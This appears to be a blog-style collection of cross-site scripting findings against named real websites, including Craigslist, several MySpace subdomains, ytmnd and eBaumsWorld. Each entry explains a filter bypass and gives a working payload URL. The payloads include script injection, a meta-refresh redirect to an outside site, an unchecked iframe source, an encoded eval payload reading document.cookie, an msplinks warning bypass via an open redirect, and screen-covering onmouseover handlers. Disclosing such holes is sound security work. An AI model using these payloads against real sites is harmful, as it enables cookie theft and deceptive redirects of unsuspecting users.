Sidestepping Filters - Craigslist.org

Because the of the lack of HTML encoding, tags can be injected using the search forum search feature assuming no results are found. Testing this with H1 tags yields the expected results.



However, attempting the same thing with script results in the page being rendered only up to to the opening tag.



But by adding a single character after the closing script tag, the filter causing this behavior can be sidestepped.

http://craigslist.org/forums/?SQ=fffffffff<script>alert(0)</script>f&act=RSR&forumID=8

Exploiting The Meta Tag - Local.Myspace.com

Despite the lack of HTML encoding of data passed to the vulnerable market field, tags cannot be used as sending a less than character followed by any alphabetic character redirects the user to a presumably security related error page. But by injecting the http-equiv attribute, the vulnerable meta tag can be repurposed.

http://local.myspace.com/index.cfm?fuseaction=local.hub&dma=467&market=0;http://cross-site-scripting.blogspot.com/"http-equiv="refresh"

Insecure IFrame - Myspace.com

The Myspace volunteer search results are embedded in the page using an IFrame, its source set by the searchresults field of the query string. Because no checks are performed on the URL specified by the field, any can be used. The result is a hard to detect XSS vulnerability; it even works with Internet Explorer 8 despite the new anti-XSS measures.

http://www.myspace.com/volunteerspace?searchresults=http://cross-site-scripting.blogspot.com/

Bypassing Myspace IM XSS Filters - Myspace.com

The filtering Myspace IM uses is rather aggressive. Regardless of context, document. is changed to document· and eval() to ..). By using percent-encoding and JavaScript escaped hex sequences this can be circumvented.

The vulnerability (only works when logged in):
http://myspace.com/index.cfm?fuseaction="};alert(0);var x={"":"

The vulnerability re-encoded to bypass IM filters:
http://myspace.com/index.cfm?fuseaction=%22};%65val('alert(document%5Cx2Ecookie)'%29;var%20x={%22%22:%22

Bypassing Msplinks.com Notifications - Myspace.com

As a preventative measure Myspace.com routes all user posted links through Msplinks.com. If the linked site is not on the msplinks whitelist a notification that the user is visiting an external site is displayed, and the the user must click another link to continue. To circumvent this system, an XSS vulnerability in a whitelisted site can be used as a redirect.



Fortunately ytmnd.com has a vulnerability. By prepending 01 to an xss redirect url, base64 encoding the result, and appending it to http://www.msplinks.com/ we can create a link that can be posted on Myspace. When the user clicks this link, no external site warnings are displayed.

The vulnerable whitelisted site:
http://www.ytmnd.com/search?q="]}}};window.location='http://www.asdf.com/';{{{//

A msplinks link that redirects to the xss redirect:
http://www.msplinks.com/MDFodHRwOi8vd3d3Lnl0bW5kLmNvbS9zZWFyY2g/cT0lMjIlNUQlN0QlN0QlN0Q7d2luZG93LmxvY2F0aW9uPSdodHRwOi8vd3d3LmFzZGYuY29tLyc7JTdCJTdCJTdCLy8=

Breaking Things With Null - Classifieds.Myspace.Com

Sometimes passing special characters through a query string can cause in strange behavior. Using URL encoding we can search for the null character on classifieds.myspace.com. The result is an error page notifying the user that the server is too busy, and it just so happens that the retry link has a Chrome and IE compatible XSS vulnerability.



http://classifieds.myspace.com/browse/?q=%00"onmouseover="alert(0);

And with styling:

http://classifieds.myspace.com/browse/?q=%00"onmouseover="alert(0);"style="float:left;height:999px;width:999px;margin-top:-400px

Getting The Most Out Of onmouseover - eBaumsWorld.com

Getting The Most Out Of onmouseover - www.ebaumsworld.com
By styling a vulnerable element the inline onmouseover event can be nearly as effective as onload. Using the width and height CSS properties the chance of a user hovering their mouse over a vulnerable element can be greatly increased.



http://www.ebaumsworld.com/search/criteria="onmouseover="alert(0);

Prior to styling the control the injected script is only run if the user hovers over the search input in the center of the screen.



http://www.ebaumsworld.com/search/criteria="style="width:999px;height:999px;"onmouseover="alert(0);

With more screen real estate taken up by the newly styled input chances of triggering the event are better.